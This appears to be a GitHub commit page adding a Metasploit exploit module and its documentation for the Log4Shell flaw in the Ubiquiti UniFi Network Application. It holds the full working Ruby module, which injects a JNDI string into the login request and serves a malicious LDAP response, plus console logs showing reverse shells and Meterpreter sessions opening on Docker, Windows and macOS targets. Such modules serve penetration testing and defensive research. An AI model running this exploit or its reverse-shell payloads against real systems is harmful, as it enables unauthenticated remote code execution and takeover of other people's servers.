forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land rapid7#16053, Log4Shell Unifi Controller RCE
- Loading branch information
Showing
2 changed files
with
311 additions
and
0 deletions.
There are no files selected for viewing
156 changes: 156 additions & 0 deletions
156
documentation/modules/exploit/multi/http/ubiquiti_unifi_log4shell.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,156 @@ | ||
## Vulnerable Application | ||
|
||
### Description | ||
The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell | ||
vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the | ||
/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java | ||
object. This results in OS command execution in the context of the server application. | ||
|
||
This module will start an LDAP server that the target will need to connect to. | ||
|
||
### Setup | ||
|
||
1. Either install the Windows application, or start the docker container (use jacobalberty/unifi:v6.5.53). | ||
2. Navigate to the service on HTTPS port 8443 to setup the UniFi controller. | ||
3. On step 2, select the button to "Switch to Advanced Setup" | ||
4. While still on step 2, disable the remote access and "Use your Ubiquiti account for local access" options, then | ||
create a local account. | ||
5. On step 5, when prompted to setup WiFi, select the "Skip" button in the bottom right corner. | ||
6. Review the configuration, and finalize it. | ||
|
||
Older versions of the UniFi Network Application can be downloaded from [community.ui.com][1]. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
2. Do: `use exploit/multi/http/ubiquiti_unifi_log4shell` | ||
3. Set the `RHOSTS`, `TARGET`, `PAYLOAD`, and payload associated options | ||
4. Do: `run` | ||
5. If the target is vulnerable, the payload should be executed | ||
|
||
## Scenarios | ||
|
||
### UniFi Network Application v6.6.53 on Docker | ||
This uses jacobalberty/unifi:v6.5.53. Note that tags v6.5.54, v6.0.45, and v5.14.23 all contain the fix for this | ||
vulnerability. See [jacobalberty/unifi](https://hub.docker.com/r/jacobalberty/unifi) for more information. | ||
|
||
``` | ||
msf6 > use exploit/multi/http/ubiquiti_unifi_log4shell | ||
[*] Using configured payload windows/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Unix | ||
TARGET => Unix | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.250.6 | ||
RHOST => 192.168.250.6 | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.250.134 | ||
SRVHOST => 192.168.250.134 | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.250.134 | ||
LHOST => 192.168.250.134 | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD cmd/unix/reverse_bash | ||
PAYLOAD => cmd/unix/reverse_bash | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443 | ||
RPORT => 8443 | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > exploit | ||
[*] Started reverse TCP handler on 192.168.250.134:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. | ||
[+] Delivering the serialized Java object to execute the payload... | ||
[*] Command shell session 5 opened (192.168.250.134:4444 -> 192.168.250.6:44984 ) at 2022-01-14 09:21:04 -0500 | ||
[*] Server stopped. | ||
id | ||
uid=0(root) gid=0(root) groups=0(root) | ||
pwd | ||
/usr/lib/unifi | ||
``` | ||
|
||
### UniFi Network Application v6.5.53 on Windows Server 2016 | ||
|
||
``` | ||
msf6 > use exploit/multi/http/ubiquiti_unifi_log4shell | ||
[*] Using configured payload windows/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Windows | ||
TARGET => Windows | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.159.65 | ||
RHOST => 192.168.159.65 | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.159.128 | ||
SRVHOST => 192.168.159.128 | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.159.128 | ||
LHOST => 192.168.159.128 | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443 | ||
RPORT => 8443 | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD windows/meterpreter/reverse_tcp | ||
PAYLOAD => windows/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > exploit | ||
[*] Started reverse TCP handler on 192.168.159.128:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. | ||
[+] Delivering the serialized Java object to execute the payload... | ||
[*] Sending stage (175174 bytes) to 192.168.159.65 | ||
[*] Meterpreter session 4 opened (192.168.159.128:4444 -> 192.168.159.65:51940 ) at 2022-01-14 09:19:25 -0500 | ||
[*] Server stopped. | ||
meterpreter > getuid | ||
Server username: WIN-BPID95ACQ7E\smcintyre | ||
meterpreter > sysinfo | ||
Computer : WIN-BPID95ACQ7E | ||
OS : Windows 2016+ (10.0 Build 14393). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x86/windows | ||
meterpreter > | ||
``` | ||
|
||
### UniFi Network Application v5.14.22 on OSX 11.2.3 | ||
|
||
``` | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > show options | ||
Module options (exploit/multi/http/ubiquiti_unifi_log4shell): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LDIF_FILE no Directory LDIF file path | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 111.111.1.11 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit | ||
RPORT 8443 yes The target port (TCP) | ||
SRVHOST 222.222.2.222 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. | ||
SRVPORT 389 yes The local port to listen on. | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
TARGETURI / yes Base path | ||
VHOST no HTTP server virtual host | ||
Payload options (cmd/unix/reverse_zsh): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST 222.222.2.222 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
2 Unix | ||
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > run | ||
[*] Started reverse TCP handler on 222.222.2.222:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. | ||
[+] Delivering the serialized Java object to execute the payload... | ||
[*] Client sent unexpected request 2 | ||
[*] Command shell session 2 opened (222.222.2.222:4444 -> 111.111.1.11:50474 ) at 2022-01-20 07:20:22 -0500 | ||
[*] Server stopped. | ||
id | ||
uid=501(yourmom) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),400(com.apple.access_remote_ae) | ||
``` | ||
|
||
[1]: https://community.ui.com/releases?q=network+application |
155 changes: 155 additions & 0 deletions
155
modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,155 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::JndiInjection | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(_info = {}) | ||
super( | ||
'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)', | ||
'Description' => %q{ | ||
The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell | ||
vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the | ||
/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java | ||
object. This results in OS command execution in the context of the server application. | ||
This module will start an LDAP server that the target will need to connect to. | ||
}, | ||
'Author' => [ | ||
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff | ||
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff | ||
'Nicholas Anastasi' # Unifi research | ||
], | ||
'References' => [ | ||
[ 'CVE', '2021-44228' ], | ||
[ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ], | ||
[ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ], | ||
[ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ] | ||
], | ||
'DisclosureDate' => '2021-12-09', | ||
'License' => MSF_LICENSE, | ||
'DefaultOptions' => { | ||
'RPORT' => 8443, | ||
'SSL' => true, | ||
'WfsDelay' => 30 | ||
}, | ||
'DefaultTarget' => 1, | ||
'Targets' => [ | ||
[ | ||
'Windows', { | ||
'Platform' => 'win' | ||
}, | ||
], | ||
[ | ||
'Unix', { | ||
'Platform' => 'unix', | ||
'Arch' => [ARCH_CMD], | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/unix/reverse_bash' | ||
} | ||
}, | ||
] | ||
], | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'SideEffects' => [IOC_IN_LOGS], | ||
'AKA' => ['Log4Shell', 'LogJam'], | ||
'Reliability' => [REPEATABLE_SESSION] | ||
} | ||
) | ||
register_options([ | ||
OptString.new('TARGETURI', [ true, 'Base path', '/']) | ||
]) | ||
end | ||
|
||
def wait_until(&block) | ||
datastore['WfsDelay'].times do | ||
break if block.call | ||
|
||
sleep(1) | ||
end | ||
end | ||
|
||
def check | ||
validate_configuration! | ||
res = send_request_cgi('uri' => normalize_uri(target_uri, 'status')) | ||
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil? | ||
|
||
server_version = res.get_json_document.dig('meta', 'server_version') | ||
return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(\d+\.)+/ | ||
|
||
vprint_status("Detected version: #{server_version}") | ||
server_version = Rex::Version.new(server_version) | ||
if server_version < Rex::Version.new('5.13.29') | ||
return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.') | ||
elsif server_version > Rex::Version.new('6.5.53') | ||
return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.') | ||
end | ||
|
||
vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...') | ||
|
||
start_service | ||
res = trigger | ||
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil? | ||
|
||
wait_until { @search_received } | ||
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.') | ||
ensure | ||
stop_service | ||
end | ||
|
||
def build_ldap_search_response_payload | ||
return [] if @search_received | ||
|
||
@search_received = true | ||
|
||
return [] unless @exploiting | ||
|
||
print_good('Delivering the serialized Java object to execute the payload...') | ||
build_ldap_search_response_payload_inline('BeanFactory') | ||
end | ||
|
||
def trigger | ||
@search_received = false | ||
# HTTP request initiator | ||
send_request_cgi( | ||
'uri' => normalize_uri(target_uri, 'api', 'login'), | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'data' => { | ||
'username' => rand_text_alphanumeric(8..16), # can not be blank!, | ||
'password' => rand_text_alphanumeric(8..16), # can not be blank! | ||
'remember' => jndi_string, | ||
'strict' => true | ||
}.to_json | ||
) | ||
end | ||
|
||
def exploit | ||
validate_configuration! | ||
|
||
@exploiting = true | ||
start_service | ||
res = trigger | ||
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil? | ||
|
||
msg = res.get_json_document.dig('meta', 'msg') | ||
if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29 | ||
fail_with(Failure::NotVulnerable, 'The target is not vulnerable') | ||
end | ||
|
||
unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones) | ||
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') | ||
end | ||
|
||
wait_until { @search_received && (!handler_enabled? || session_created?) } | ||
handler | ||
ensure | ||
cleanup | ||
end | ||
end |